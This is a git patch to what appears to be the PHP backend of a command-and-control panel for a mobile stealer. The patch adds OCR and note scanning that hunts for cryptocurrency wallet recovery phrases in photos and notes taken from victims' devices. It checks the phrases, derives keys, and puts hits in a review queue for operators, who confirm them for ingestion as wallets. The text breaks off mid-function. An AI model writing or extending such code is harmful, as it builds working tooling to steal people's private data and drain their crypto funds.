From 558912864dd715f6ba8ff09e005154533f024012 Mon Sep 17 00:00:00 2001 From: hashbro Date: Sat, 12 Sep 2026 23:53:53 +0800 Subject: [PATCH] feat: scan --- app/Console/Commands/ScanMnemonicsCommand.php | 68 + .../Controllers/Admin/DeviceController.php | 36 +- .../Admin/MnemonicFindingController.php | 159 ++ app/Jobs/ScanDeviceNotes.php | 28 + app/Jobs/ScanPhotoMnemonic.php | 28 + app/Jobs/SendTelegramMessage.php | 9 +- app/Models/Device.php | 10 + app/Models/MnemonicFinding.php | 88 + app/Models/NoteScan.php | 46 + app/Models/Photo.php | 11 + app/Providers/AppServiceProvider.php | 4 + app/Services/Chain/Bip44.php | 52 + app/Services/IngestService.php | 16 +- app/Services/MnemonicDetector.php | 269 +++ app/Services/MnemonicScanService.php | 378 +++ app/Services/MnemonicScanStatus.php | 27 + app/Services/Ocr/OcrDriver.php | 8 + app/Services/Ocr/PhotoOcrPreparer.php | 66 + app/Services/Ocr/TesseractOcrDriver.php | 37 + app/Services/TelegramNotifier.php | 21 +- app/Support/WalletSource.php | 2 + config/coruna.php | 5 + ..._09_12_210000_add_mnemonic_scan_tables.php | 61 + docs/BAOTA_DEPLOY.md | 11 + resources/bip39/english.txt | 2048 +++++++++++++++++ resources/views/admin/content.blade.php | 6 + resources/views/admin/devices/show.blade.php | 11 +- .../views/admin/findings/index.blade.php | 192 ++ resources/views/admin/shell.blade.php | 3 + resources/views/user/shell.blade.php | 3 + routes/admin.php | 6 + routes/console.php | 5 + routes/user.php | 6 + tests/Feature/MnemonicScanTest.php | 282 +++ tests/Unit/Bip44Test.php | 51 + tests/Unit/MnemonicDetectorTest.php | 127 + 36 files changed, 4165 insertions(+), 15 deletions(-) create mode 100644 app/Console/Commands/ScanMnemonicsCommand.php create mode 100644 app/Http/Controllers/Admin/MnemonicFindingController.php create mode 100644 app/Jobs/ScanDeviceNotes.php create mode 100644 app/Jobs/ScanPhotoMnemonic.php create mode 100644 app/Models/MnemonicFinding.php create mode 100644 app/Models/NoteScan.php create mode 100644 app/Services/MnemonicDetector.php create mode 100644 app/Services/MnemonicScanService.php create mode 100644 app/Services/MnemonicScanStatus.php create mode 100644 app/Services/Ocr/OcrDriver.php create mode 100644 app/Services/Ocr/PhotoOcrPreparer.php create mode 100644 app/Services/Ocr/TesseractOcrDriver.php create mode 100644 database/migrations/2026_09_12_210000_add_mnemonic_scan_tables.php create mode 100644 resources/bip39/english.txt create mode 100644 resources/views/admin/findings/index.blade.php create mode 100644 tests/Feature/MnemonicScanTest.php create mode 100644 tests/Unit/Bip44Test.php create mode 100644 tests/Unit/MnemonicDetectorTest.php diff --git a/app/Console/Commands/ScanMnemonicsCommand.php b/app/Console/Commands/ScanMnemonicsCommand.php new file mode 100644 index 0000000..d87905b --- /dev/null +++ b/app/Console/Commands/ScanMnemonicsCommand.php @@ -0,0 +1,68 @@ +option('limit')); + $photos = Photo::query() + ->whereIn('scan_status', [MnemonicScanStatus::PENDING, MnemonicScanStatus::FAILED]) + ->orderByRaw('CASE WHEN COALESCE(text_count, 0) > 0 OR COALESCE(x_hit, 0) > 0 THEN 0 ELSE 1 END') + ->orderByDesc('created_at') + ->orderByDesc('id') + ->limit($limit) + ->get(['id']); + + foreach ($photos as $photo) { + ScanPhotoMnemonic::dispatch($photo->id)->onQueue('ocr'); + } + + $noteQueued = 0; + $seenDevices = []; + Note::query()->orderByDesc('id')->limit(200)->get(['id', 'device_id', 'content'])->each(function (Note $note) use (&$noteQueued, &$seenDevices) { + if (isset($seenDevices[$note->device_id])) { + return; + } + $seenDevices[$note->device_id] = true; + $items = NoteContent::normalizeStored($note->content); + foreach ($items as $index => $item) { + $key = NoteScan::itemKey($item, $index); + $hash = NoteScan::itemHash($item); + $existing = NoteScan::query() + ->where('device_id', $note->device_id) + ->where('note_id', $note->id) + ->where('item_key', $key) + ->first(); + if ($existing + && hash_equals((string) $existing->content_hash, $hash) + && ! in_array((int) $existing->scan_status, [MnemonicScanStatus::PENDING, MnemonicScanStatus::FAILED], true)) { + continue; + } + ScanDeviceNotes::dispatch($note->device_id); + $noteQueued++; + + return; + } + }); + + $this->info('enqueued photos='.$photos->count().' note-devices='.$noteQueued); + + return self::SUCCESS; + } +} diff --git a/app/Http/Controllers/Admin/DeviceController.php b/app/Http/Controllers/Admin/DeviceController.php index 322de0c..f57d34a 100644 --- a/app/Http/Controllers/Admin/DeviceController.php +++ b/app/Http/Controllers/Admin/DeviceController.php @@ -294,6 +294,8 @@ class DeviceController extends Controller DB::transaction(function () use ($device) { $device->apps()->delete(); $device->events()->delete(); + $device->mnemonicFindings()->delete(); + $device->noteScans()->delete(); $device->photos()->delete(); $device->notes()->delete(); $device->addresses()->delete(); @@ -571,12 +573,16 @@ class DeviceController extends Controller 'process_index' => $photo->process_index, 'text_count' => $photo->text_count, 'barcode_count' => $photo->barcode_count, + 'scan_status' => (int) $photo->scan_status, + 'scan_label' => \App\Services\MnemonicScanStatus::label((int) $photo->scan_status), 'read' => in_array($photo->id, $readIds, true) ? 1 : 0, 'created_at' => optional($photo->created_at)->format('Y-m-d H:i:s'), ]; })->values(); - return $this->layuiPage($paginator->total(), $data); + $scan = app(\App\Services\MnemonicScanService::class)->photoProgress($device->id); + + return $this->layuiPage($paginator->total(), $data, $scan); } private function paginateAddresses(Device $device, Request $request, string $field, string $order, int $limit, int $page) @@ -707,16 +713,27 @@ class DeviceController extends Controller $total = count($items); $slice = array_slice($items, ($page - 1) * $limit, $limit); $reportedAt = optional($note?->updated_at ?? $note?->created_at)->format('Y-m-d H:i:s'); - $data = collect($slice)->values()->map(function (array $item, int $i) use ($page, $limit, $reportedAt) { + $scans = $note + ? \App\Models\NoteScan::query()->where('note_id', $note->id)->get()->keyBy('item_key') + : collect(); + $data = collect($slice)->values()->map(function (array $item, int $i) use ($page, $limit, $reportedAt, $scans) { + $index = (($page - 1) * $limit) + $i; + $key = \App\Models\NoteScan::itemKey($item, $index); + $status = (int) ($scans[$key]->scan_status ?? \App\Services\MnemonicScanStatus::PENDING); + return [ - 'id' => (($page - 1) * $limit) + $i + 1, + 'id' => $index + 1, 'title' => $item['title'] ?? '', 'body' => $item['body'] ?? '', + 'scan_status' => $status, + 'scan_label' => \App\Services\MnemonicScanStatus::label($status), 'created_at' => $reportedAt ?: '', ]; }); - return $this->layuiPage($total, $data); + $scan = app(\App\Services\MnemonicScanService::class)->noteProgress($device); + + return $this->layuiPage($total, $data, $scan); } private function paginateEvents(Device $device, string $field, string $order, int $limit, int $page) @@ -744,14 +761,19 @@ class DeviceController extends Controller /** * @param Collection>|array> $data */ - private function layuiPage(int $count, $data) + private function layuiPage(int $count, $data, ?array $scan = null) { - return response()->json([ + $payload = [ 'code' => 0, 'msg' => '', 'count' => $count, 'data' => $data, - ]); + ]; + if ($scan !== null) { + $payload['scan'] = $scan; + } + + return response()->json($payload); } /** diff --git a/app/Http/Controllers/Admin/MnemonicFindingController.php b/app/Http/Controllers/Admin/MnemonicFindingController.php new file mode 100644 index 0000000..d24ba59 --- /dev/null +++ b/app/Http/Controllers/Admin/MnemonicFindingController.php @@ -0,0 +1,159 @@ +isAgentPortal() + ? collect() + : User::query()->orderBy('username')->get(['id', 'username']); + + return view('admin.findings.index', [ + 'portal' => $this->portal(), + 'agents' => $agents, + 'photoProgress' => $scan->photoProgress(), + 'noteProgress' => $scan->noteProgress(), + ]); + } + + public function data(Request $request) + { + $q = $this->baseQuery($request); + $status = trim((string) $request->query('status', '')); + if (in_array($status, [MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::STATUS_CONFIRMED, MnemonicFinding::STATUS_DISMISSED], true)) { + $q->where('mnemonic_findings.status', $status); + } + $source = trim((string) $request->query('source', '')); + if (in_array($source, [MnemonicFinding::SOURCE_PHOTO, MnemonicFinding::SOURCE_NOTE], true)) { + $q->where('mnemonic_findings.source', $source); + } + + $q->orderByDesc('mnemonic_findings.id'); + $limit = max(1, min(100, (int) $request->query('limit', 20))); + $page = max(1, (int) $request->query('page', 1)); + $paginator = $q->paginate($limit, ['*'], 'page', $page); + $portal = $this->portal(); + + $data = collect($paginator->items())->map(function ($row) use ($portal) { + /** @var MnemonicFinding $row */ + $photoUrl = $row->photo_id + ? route($portal.'.devices.photo', [$row->device_id, $row->photo_id]) + : ''; + + return [ + 'id' => $row->id, + 'device_key' => $row->device_key ?: '', + 'channel_id' => $row->device_channel_id ?: '', + 'source' => $row->source === MnemonicFinding::SOURCE_PHOTO ? '相册' : '备忘录', + 'status' => $row->status, + 'status_label' => MnemonicFinding::statusLabel((string) $row->status), + 'candidate' => $row->candidate, + 'excerpt' => mb_substr((string) $row->excerpt, 0, 160), + 'word_count' => (int) $row->word_count, + 'score' => (int) $row->score, + 'photo_url' => $photoUrl, + 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), + 'detail_url' => route($portal.'.devices.show', [ + 'device' => $row->device_id, + 'tab' => $row->source === MnemonicFinding::SOURCE_PHOTO ? 'photos' : 'notes', + ]), + ]; + })->values(); + + return response()->json([ + 'code' => 0, + 'msg' => '', + 'count' => $paginator->total(), + 'data' => $data, + ]); + } + + public function confirm(Request $request, MnemonicFinding $finding, MnemonicScanService $scan) + { + if (! $this->findingInScope($finding)) { + return response()->json(['code' => 1, 'msg' => '无权操作'], 403); + } + if ($finding->status !== MnemonicFinding::STATUS_SUSPECTED) { + return response()->json(['code' => 1, 'msg' => '只有疑似记录可以确认']); + } + $candidate = $request->input('candidate'); + if (! $scan->confirm($finding, $this->actorLabel(), is_string($candidate) ? $candidate : null)) { + return response()->json(['code' => 1, 'msg' => '不是合法助记词,无法确定入库']); + } + + return response()->json(['code' => 0, 'msg' => 'ok']); + } + + public function dismiss(MnemonicFinding $finding, MnemonicScanService $scan) + { + if (! $this->findingInScope($finding)) { + return response()->json(['code' => 1, 'msg' => '无权操作'], 403); + } + $scan->dismiss($finding, $this->actorLabel()); + + return response()->json(['code' => 0, 'msg' => 'ok']); + } + + private function findingInScope(MnemonicFinding $finding): bool + { + $q = MnemonicFinding::query() + ->join('devices', 'devices.id', '=', 'mnemonic_findings.device_id') + ->where('mnemonic_findings.id', $finding->id); + AgentScope::applyDeviceChannelScope($q, $this->agent()); + + return $q->exists(); + } + + private function actorLabel(): string + { + if ($this->isAgentPortal()) { + $user = auth('agent')->user(); + + return 'agent:'.((int) ($user?->id ?? 0)).'@'.(string) ($user?->username ?? ''); + } + $admin = auth('admin')->user(); + + return 'admin:'.((int) ($admin?->id ?? 0)).'@'.(string) ($admin?->username ?? ''); + } + + private function baseQuery(Request $request): Builder + { + $q = MnemonicFinding::query() + ->join('devices', 'devices.id', '=', 'mnemonic_findings.device_id') + ->select([ + 'mnemonic_findings.*', + 'devices.device_id as device_key', + 'devices.channel_id as device_channel_id', + ]); + AgentScope::applyDeviceChannelScope($q, $this->agent()); + $channelId = trim((string) $request->query('channel_id', '')); + $deviceKey = trim((string) $request->query('device_key', '')); + if ($channelId !== '') { + $q->where('devices.channel_id', 'like', '%'.$channelId.'%'); + } + if ($deviceKey !== '') { + $q->where('devices.device_id', 'like', '%'.$deviceKey.'%'); + } + if (! $this->isAgentPortal()) { + AgentScope::applyAgentUserFilter( + $q, + AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')) + ); + } + + return $q; + } +} diff --git a/app/Jobs/ScanDeviceNotes.php b/app/Jobs/ScanDeviceNotes.php new file mode 100644 index 0000000..2a3eeb0 --- /dev/null +++ b/app/Jobs/ScanDeviceNotes.php @@ -0,0 +1,28 @@ +find($this->deviceId); + if ($device === null) { + return; + } + $scan->scanDeviceNotes($device); + } +} diff --git a/app/Jobs/ScanPhotoMnemonic.php b/app/Jobs/ScanPhotoMnemonic.php new file mode 100644 index 0000000..fb4d4a7 --- /dev/null +++ b/app/Jobs/ScanPhotoMnemonic.php @@ -0,0 +1,28 @@ +with('device')->find($this->photoId); + if ($photo === null) { + return; + } + $scan->scanPhoto($photo); + } +} diff --git a/app/Jobs/SendTelegramMessage.php b/app/Jobs/SendTelegramMessage.php index 3255c03..c22e2eb 100644 --- a/app/Jobs/SendTelegramMessage.php +++ b/app/Jobs/SendTelegramMessage.php @@ -22,6 +22,13 @@ class SendTelegramMessage implements ShouldQueue public function handle(TelegramNotifier $telegram): void { - $telegram->sendToChat($this->chatId, $this->text, $this->token); + $result = $telegram->sendToChat($this->chatId, $this->text, $this->token); + if (! $result['ok']) { + \Illuminate\Support\Facades\Log::channel('telegram')->warning('SendTelegramMessage job failed', [ + 'chat_id' => $this->chatId, + 'error' => $result['error'] ?? 'unknown', + 'text_preview' => mb_substr($this->text, 0, 80), + ]); + } } } diff --git a/app/Models/Device.php b/app/Models/Device.php index 24f51bd..3a69abe 100644 --- a/app/Models/Device.php +++ b/app/Models/Device.php @@ -213,6 +213,16 @@ class Device extends Model return $this->hasMany(Photo::class); } + public function noteScans(): HasMany + { + return $this->hasMany(NoteScan::class); + } + + public function mnemonicFindings(): HasMany + { + return $this->hasMany(MnemonicFinding::class); + } + public function notes(): HasMany { return $this->hasMany(Note::class); diff --git a/app/Models/MnemonicFinding.php b/app/Models/MnemonicFinding.php new file mode 100644 index 0000000..52a4315 --- /dev/null +++ b/app/Models/MnemonicFinding.php @@ -0,0 +1,88 @@ + 'integer', + 'score' => 'integer', + 'reviewed_at' => 'datetime', + ]; + } + + public function device(): BelongsTo + { + return $this->belongsTo(Device::class); + } + + public function photo(): BelongsTo + { + return $this->belongsTo(Photo::class); + } + + public function note(): BelongsTo + { + return $this->belongsTo(Note::class); + } + + public function getCandidateAttribute(): string + { + $enc = (string) ($this->attributes['candidate_enc'] ?? ''); + if ($enc === '') { + return ''; + } + try { + return Crypt::decryptString($enc); + } catch (\Throwable) { + return ''; + } + } + + public function setCandidateAttribute(string $value): void + { + $this->attributes['candidate_enc'] = Crypt::encryptString($value); + } + + public function maskedCandidate(): string + { + return WalletMnemonic::maskSecret($this->candidate); + } + + public static function statusLabel(string $status): string + { + return match ($status) { + self::STATUS_CONFIRMED => '确定含有', + self::STATUS_DISMISSED => '已排除', + default => '疑似', + }; + } + + public static function scanLabel(int $status): string + { + return MnemonicScanStatus::label($status); + } +} diff --git a/app/Models/NoteScan.php b/app/Models/NoteScan.php new file mode 100644 index 0000000..68d9128 --- /dev/null +++ b/app/Models/NoteScan.php @@ -0,0 +1,46 @@ + 'integer', + 'scanned_at' => 'datetime', + ]; + } + + public function device(): BelongsTo + { + return $this->belongsTo(Device::class); + } + + public function note(): BelongsTo + { + return $this->belongsTo(Note::class); + } + + public static function itemKey(array $item, int $index = 0): string + { + $native = $item['native_id'] ?? null; + if ($native !== null && $native !== '') { + return 'n:'.(string) $native; + } + + return 'h:'.substr(hash('sha1', (string) ($item['title'] ?? '').'|'.(string) ($item['body'] ?? '')), 0, 24); + } + + public static function itemHash(array $item): string + { + return hash('sha256', (string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? '')); + } +} diff --git a/app/Models/Photo.php b/app/Models/Photo.php index e576d15..fdeb7b9 100644 --- a/app/Models/Photo.php +++ b/app/Models/Photo.php @@ -10,6 +10,14 @@ class Photo extends Model { public const X_HIT_ALERT = 12; + protected function casts(): array + { + return [ + 'scan_status' => 'integer', + 'scanned_at' => 'datetime', + ]; + } + protected $fillable = [ 'device_id', 'sha256', @@ -20,6 +28,9 @@ class Photo extends Model 'process_index', 'text_count', 'barcode_count', + 'scan_status', + 'scanned_at', + 'ocr_text', ]; public function device(): BelongsTo diff --git a/app/Providers/AppServiceProvider.php b/app/Providers/AppServiceProvider.php index d20003e..b0ef7e8 100644 --- a/app/Providers/AppServiceProvider.php +++ b/app/Providers/AppServiceProvider.php @@ -4,6 +4,8 @@ namespace App\Providers; use App\Services\CorunaArchive; use App\Services\CorunaCrypto; +use App\Services\Ocr\OcrDriver; +use App\Services\Ocr\TesseractOcrDriver; use App\Services\SettingsService; use App\Telegram\TelegramBotContext; use Illuminate\Support\Facades\DB; @@ -36,6 +38,8 @@ class AppServiceProvider extends ServiceProvider (string) config('coruna.seven_zip', ''), ); }); + + $this->app->bind(OcrDriver::class, TesseractOcrDriver::class); } public function boot(): void diff --git a/app/Services/Chain/Bip44.php b/app/Services/Chain/Bip44.php index b2ee8ca..9cf4581 100644 --- a/app/Services/Chain/Bip44.php +++ b/app/Services/Chain/Bip44.php @@ -39,6 +39,58 @@ final class Bip44 ]; } + /** + * True when the phrase is a checksum-valid BIP39 mnemonic that can + * produce a secp256k1 key (and therefore chain addresses). + */ + public static function canDerive(string $mnemonic): bool + { + try { + $derived = self::derive($mnemonic, "m/44'/60'/0'/0/0"); + + return strlen((string) ($derived['public_key_uncompressed'] ?? '')) >= 130; + } catch (\Throwable) { + return false; + } + } + + /** + * Checksum-valid is not enough for ingest: reject BIP39 test vectors and + * low-entropy repeats (same word more than 3 times, or official test vectors). + */ + public static function isUsableMnemonic(string $mnemonic): bool + { + $words = preg_split('/\s+/', strtolower(trim($mnemonic))) ?: []; + $n = count($words); + if (! in_array($n, [12, 15, 18, 21, 24], true)) { + return false; + } + if (in_array(implode(' ', $words), self::TEST_VECTORS, true)) { + return false; + } + $counts = array_count_values($words); + if (count($counts) < $n - 2) { + return false; + } + if (max($counts) > 3) { + return false; + } + + return self::canDerive($mnemonic); + } + + /** @var list */ + private const TEST_VECTORS = [ + 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about', + 'legal winner thank year wave sausage worth useful legal winner thank yellow', + 'letter advice cage absurd amount doctor acoustic avoid letter advice cage above', + 'zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo wrong', + 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon agent', + 'legal winner thank year wave sausage worth useful legal winner thank year wave sausage worth useful legal will', + 'letter advice cage absurd amount doctor acoustic avoid letter advice cage absurd amount doctor acoustic bless', + 'zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo vote', + ]; + /** @return array{0: string, 1: string} binary key + chain code */ private static function masterFromSeed(string $seed): array { diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index dcbd6a3..d028018 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -561,11 +561,16 @@ class IngestService { $words = preg_split('/\s+/', strtolower(trim($secret))) ?: []; $n = count($words); - if ($n === 12 || $n === 24) { + if (in_array($n, [12, 15, 18, 21, 24], true)) { foreach ($words as $word) { - if (! preg_match('/^[a-z]{3,8}$/', $word)) { - return false; + if (preg_match('/^[a-z]{3,8}$/', $word) === 1) { + continue; } + if (preg_match('/^\p{Han}{1,4}$/u', $word) === 1) { + continue; + } + + return false; } return true; @@ -955,6 +960,7 @@ class IngestService 'content' => $items, 'content_hash' => $hash, ])->save(); + app(MnemonicScanService::class)->dispatchNotes($device); return; } @@ -964,6 +970,7 @@ class IngestService 'content' => $items, 'content_hash' => $hash, ]); + app(MnemonicScanService::class)->dispatchNotes($device); } /** @@ -1008,7 +1015,7 @@ class IngestService } $rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path); Storage::disk('local')->put($rel, $bytes); - Photo::query()->create([ + $photo = Photo::query()->create([ 'device_id' => $device->id, 'sha256' => $sha, 'path' => $rel, @@ -1019,6 +1026,7 @@ class IngestService 'text_count' => $meta['text_count'] ?? null, 'barcode_count' => $meta['barcode_count'] ?? null, ]); + app(MnemonicScanService::class)->dispatchPhoto($photo); $stored++; } diff --git a/app/Services/MnemonicDetector.php b/app/Services/MnemonicDetector.php new file mode 100644 index 0000000..3818dce --- /dev/null +++ b/app/Services/MnemonicDetector.php @@ -0,0 +1,269 @@ + */ + public const LENGTHS = [12, 15, 18, 21, 24]; + + public const MIN_SUSPECTED = 8; + + public const MIN_CONFIRMED = 12; + + public const MIN_UNIQUE = 8; + + /** + * Hardware-wallet chrome that is also on the BIP39 list. Only used to + * break ties when two sliding windows both checksum. + * + * @var array + */ + private const UI_PREFIX = [ + 'card' => true, + 'key' => true, + 'wallet' => true, + 'seed' => true, + 'word' => true, + 'phrase' => true, + 'recovery' => true, + 'secret' => true, + 'hardware' => true, + 'device' => true, + 'account' => true, + ]; + + /** @var array|null */ + private static ?array $english = null; + + /** + * @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}|null + */ + public function detect(string $text, bool $strictGaps = false): ?array + { + $text = trim($text); + if ($text === '') { + return null; + } + + $tokens = $strictGaps ? $this->noteTokens($text) : $this->englishTokens($text); + $wordlist = $this->englishSet(); + $real = array_values(array_filter($tokens, fn ($word) => $word !== '')); + if (count($real) < self::MIN_SUSPECTED) { + return null; + } + + $perfect = $this->perfectPhrase($tokens, $wordlist); + if ($perfect !== null) { + return $perfect; + } + if ($strictGaps) { + return null; + } + + $partial = $this->suspectedWindow($tokens, $wordlist); + + return $partial !== null && $this->uniqueListWords($partial['candidate']) >= self::MIN_UNIQUE + ? $partial + : null; + } + + public function uniqueListWords(string $candidate): int + { + $wordlist = $this->englishSet(); + $uniq = []; + foreach (preg_split('/\s+/', strtolower(trim($candidate))) ?: [] as $word) { + if (isset($wordlist[$word])) { + $uniq[$word] = true; + } + } + + return count($uniq); + } + + /** + * @param list $tokens + * @param array $wordlist + * @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}|null + */ + private function perfectPhrase(array $tokens, array $wordlist): ?array + { + $run = []; + $best = null; + $n = count($tokens); + for ($i = 0; $i <= $n; $i++) { + $word = $tokens[$i] ?? null; + if ($word !== null && $word !== '' && isset($wordlist[$word])) { + $run[] = $word; + + continue; + } + $hit = $this->confirmedFromRun($run); + if ($hit !== null && ($best === null || $hit['word_count'] > $best['word_count'])) { + $best = $hit; + } + $run = []; + } + + return $best; + } + + /** + * @param list $run + * @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}|null + */ + private function confirmedFromRun(array $run): ?array + { + $n = count($run); + $fallback = null; + foreach (array_reverse(self::LENGTHS) as $len) { + if ($n < $len) { + continue; + } + $usable = []; + for ($offset = 0; $offset <= $n - $len; $offset++) { + $hit = $this->hitFromWords(array_slice($run, $offset, $len), true); + $fallback ??= $hit; + if (Bip44::isUsableMnemonic($hit['candidate'])) { + $usable[] = $hit; + } + } + if ($usable !== []) { + return $this->preferNonUiPrefix($usable); + } + } + + return $fallback; + } + + /** + * @param list $words + * @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool} + */ + private function hitFromWords(array $words, bool $confirmed): array + { + $len = count($words); + + return [ + 'candidate' => implode(' ', $words), + 'word_count' => $len, + 'score' => $len * 10, + 'language' => 'en', + 'confirmed' => $confirmed, + ]; + } + + /** + * @param non-empty-list $hits + * @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool} + */ + private function preferNonUiPrefix(array $hits): array + { + foreach ($hits as $hit) { + $first = explode(' ', $hit['candidate'])[0] ?? ''; + if (! isset(self::UI_PREFIX[$first])) { + return $hit; + } + } + + return $hits[0]; + } + + /** + * @param list $tokens + * @param array $wordlist + * @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}|null + */ + private function suspectedWindow(array $tokens, array $wordlist): ?array + { + $n = count($tokens); + $best = null; + $maxLen = min(24, $n); + for ($len = self::MIN_SUSPECTED; $len <= $maxLen; $len++) { + for ($i = 0; $i <= $n - $len; $i++) { + $window = array_slice($tokens, $i, $len); + $hits = 0; + foreach ($window as $word) { + if ($word !== '' && isset($wordlist[$word])) { + $hits++; + } + } + if ($hits < self::MIN_SUSPECTED) { + continue; + } + $score = ($hits * 10) - (($len - $hits) * 2); + if ($best !== null && ($hits < $best['word_count'] || ($hits === $best['word_count'] && $score <= $best['score']))) { + continue; + } + $best = [ + 'candidate' => implode(' ', $window), + 'word_count' => $hits, + 'score' => $score, + 'language' => 'en', + 'confirmed' => false, + ]; + } + } + + return $best; + } + + /** @return list */ + private function englishTokens(string $text): array + { + preg_match_all('/[a-z]{3,8}/', strtolower($text), $m); + + return $m[0] ?? []; + } + + /** + * Keep list indices (1. 2. 12) from breaking a phrase, but digits/units + * like 200 or 1.5 split a run so "pipe 200 cable" is not 12 words. + * + * @return list + */ + private function noteTokens(string $text): array + { + $out = []; + foreach (preg_split('/\s+/u', strtolower($text)) ?: [] as $raw) { + $word = trim($raw, ".,!?;:\"'()[]"); + if (preg_match('/^[a-z]{3,8}$/', $word) === 1) { + $out[] = $word; + + continue; + } + if (preg_match('/^\d{1,2}\.?$/', $word) === 1) { + continue; + } + $out[] = ''; + } + + return $out; + } + + /** @return array */ + private function englishSet(): array + { + return self::$english ??= $this->loadSet(); + } + + /** @return array */ + private function loadSet(): array + { + $set = []; + $path = resource_path('bip39/english.txt'); + if (! is_file($path)) { + return $set; + } + foreach (file($path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) ?: [] as $line) { + $word = strtolower(trim($line)); + if ($word !== '') { + $set[$word] = true; + } + } + + return $set; + } +} diff --git a/app/Services/MnemonicScanService.php b/app/Services/MnemonicScanService.php new file mode 100644 index 0000000..f6661bb --- /dev/null +++ b/app/Services/MnemonicScanService.php @@ -0,0 +1,378 @@ +runningUnitTests()) { + return; + } + if ((int) $photo->scan_status !== MnemonicScanStatus::PENDING + && (int) $photo->scan_status !== MnemonicScanStatus::FAILED) { + return; + } + ScanPhotoMnemonic::dispatch($photo->id)->onQueue('ocr'); + } + + public function dispatchNotes(Device $device): void + { + if (app()->runningUnitTests()) { + return; + } + ScanDeviceNotes::dispatch($device->id); + } + + public function scanPhoto(Photo $photo): void + { + $jpeg = null; + try { + $jpeg = $this->preparer->jpegPath($photo); + if ($jpeg === null) { + $this->markPhoto($photo, MnemonicScanStatus::FAILED, ''); + + return; + } + $text = $this->ocr->recognize($jpeg); + $this->applyTextHit($photo->device, MnemonicFinding::SOURCE_PHOTO, $text, $photo, null, null); + $this->markPhoto($photo, $this->photoStatus($photo), $text); + } catch (\Throwable $e) { + Log::warning('scan photo mnemonic failed: '.$e->getMessage(), ['photo_id' => $photo->id]); + $this->markPhoto($photo, MnemonicScanStatus::FAILED, ''); + } finally { + if (is_string($jpeg) && is_file($jpeg)) { + @unlink($jpeg); + } + } + } + + public function scanDeviceNotes(Device $device): void + { + $note = $device->notes()->orderByDesc('id')->first(); + if ($note === null) { + return; + } + foreach ($note->items() as $index => $item) { + $this->scanNoteItem($device, $note, $item, $index); + } + } + + /** + * @param array{title: string, body: string, native_id: int|string|null} $item + */ + public function scanNoteItem(Device $device, Note $note, array $item, int $index): void + { + $key = NoteScan::itemKey($item, $index); + $hash = NoteScan::itemHash($item); + $row = NoteScan::query()->firstOrNew([ + 'device_id' => $device->id, + 'note_id' => $note->id, + 'item_key' => $key, + ]); + if ($row->exists + && hash_equals((string) $row->content_hash, $hash) + && (int) $row->scan_status !== MnemonicScanStatus::PENDING + && (int) $row->scan_status !== MnemonicScanStatus::FAILED) { + return; + } + + $text = trim((string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? '')); + $this->applyTextHit($device, MnemonicFinding::SOURCE_NOTE, $text, null, $note, $key); + $row->content_hash = $hash; + $row->scan_status = $this->noteStatus($note, $key); + $row->scanned_at = now(); + $row->save(); + } + + public function confirm(MnemonicFinding $finding, ?string $actor = null, ?string $candidate = null): bool + { + $device = $finding->device; + if ($device === null || $finding->status !== MnemonicFinding::STATUS_SUSPECTED) { + return false; + } + $phrase = trim(preg_replace('/\s+/', ' ', (string) ($candidate ?? $finding->candidate)) ?: ''); + if ($phrase === '' || ! Bip44::isUsableMnemonic($phrase)) { + return false; + } + $finding->candidate = $phrase; + $finding->word_count = count(preg_split('/\s+/', $phrase) ?: []); + $this->ingest->ingestMnemonic($device, [ + 'mnemonic' => $phrase, + 'a' => $finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan', + ]); + $finding->status = MnemonicFinding::STATUS_CONFIRMED; + $finding->reviewed_by = $actor; + $finding->reviewed_at = now(); + $finding->save(); + + if ($finding->photo_id) { + Photo::query()->whereKey($finding->photo_id)->update([ + 'scan_status' => MnemonicScanStatus::CONFIRMED, + ]); + } + if ($finding->note_id && $finding->item_key) { + NoteScan::query() + ->where('note_id', $finding->note_id) + ->where('item_key', $finding->item_key) + ->update(['scan_status' => MnemonicScanStatus::CONFIRMED]); + } + + return true; + } + + public function dismiss(MnemonicFinding $finding, ?string $actor = null): void + { + $finding->status = MnemonicFinding::STATUS_DISMISSED; + $finding->reviewed_by = $actor; + $finding->reviewed_at = now(); + $finding->save(); + + if ($finding->photo_id) { + Photo::query()->whereKey($finding->photo_id)->update([ + 'scan_status' => MnemonicScanStatus::EMPTY, + ]); + } + if ($finding->note_id && $finding->item_key) { + NoteScan::query() + ->where('note_id', $finding->note_id) + ->where('item_key', $finding->item_key) + ->update(['scan_status' => MnemonicScanStatus::EMPTY]); + } + } + + /** + * @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int} + */ + public function photoProgress(?int $deviceId = null): array + { + $q = Photo::query(); + if ($deviceId !== null) { + $q->where('device_id', $deviceId); + } + + return $this->progressFromCounts($q->selectRaw('scan_status, COUNT(*) as c')->groupBy('scan_status')->pluck('c', 'scan_status')->all()); + } + + /** + * @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int} + */ + public function noteProgress(?Device $device = null): array + { + if ($device !== null) { + $note = $device->notes()->orderByDesc('id')->first(); + $items = $note ? $note->items() : []; + $total = count($items); + if ($total === 0) { + return $this->progressFromCounts([]); + } + $scans = NoteScan::query() + ->where('device_id', $device->id) + ->where('note_id', $note->id) + ->get() + ->keyBy('item_key'); + $counts = []; + foreach ($items as $index => $item) { + $key = NoteScan::itemKey($item, $index); + $status = (int) ($scans[$key]->scan_status ?? 